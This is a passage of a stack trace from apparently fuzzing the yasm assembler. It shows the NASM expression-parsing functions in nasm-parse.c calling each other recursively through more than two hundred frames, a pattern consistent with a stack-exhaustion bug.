#2 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#3 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#4 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#5 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#6 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#7 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#8 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#9 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#10 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#11 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#12 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#13 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#14 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#15 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#16 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#17 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#18 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#19 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#20 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#21 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#22 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#23 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#24 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#25 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#26 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#27 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#28 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#29 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#30 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#31 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#32 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#33 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#34 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#35 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#36 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#37 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#38 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#39 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#40 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#41 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#42 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#43 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#44 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#45 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#46 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#47 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#48 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#49 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#50 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#51 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#52 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#53 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#54 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#55 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#56 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#57 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#58 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#59 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#60 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#61 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#62 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#63 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#64 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#65 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#66 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#67 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#68 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#69 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#70 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#71 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#72 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#73 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#74 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#75 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#76 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#77 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#78 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#79 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#80 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#81 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#82 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#83 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#84 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#85 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#86 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#87 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#88 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#89 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#90 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#91 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#92 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#93 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#94 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#95 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#96 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#97 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#98 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#99 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#100 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#101 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#102 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#103 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#104 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#105 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#106 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#107 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#108 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#109 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#110 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#111 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#112 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#113 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#114 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#115 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#116 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#117 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#118 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#119 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#120 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#121 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#122 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#123 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#124 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#125 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#126 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#127 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#128 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#129 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#130 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#131 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#132 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#133 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#134 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#135 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#136 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#137 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#138 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#139 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#140 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#141 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#142 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#143 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#144 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#145 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#146 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#147 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#148 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#149 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#150 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#151 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#152 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#153 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#154 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#155 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#156 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#157 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#158 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#159 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#160 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#161 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#162 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#163 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#164 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#165 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#166 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#167 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#168 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#169 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#170 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#171 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#172 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#173 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#174 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#175 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#176 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#177 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#178 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#179 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#180 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#181 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#182 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#183 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#184 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#185 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#186 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#187 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#188 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#189 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#190 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#191 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#192 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#193 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#194 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#195 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#196 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#197 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#198 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#199 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#200 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#201 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#202 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#203 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#204 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#205 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#206 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#207 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#208 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#209 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#210 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#211 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#212 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#213 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#214 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#215 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#216 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#217 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#218 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#219 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#220 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#221 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#222 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#223 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#224 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#225 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#226 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#227 0x57d0ac in parse_bexpr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1224:5
#228 0x57ceb6 in parse_expr /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1215:13
#229 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#230 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#231 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#232 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#233 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
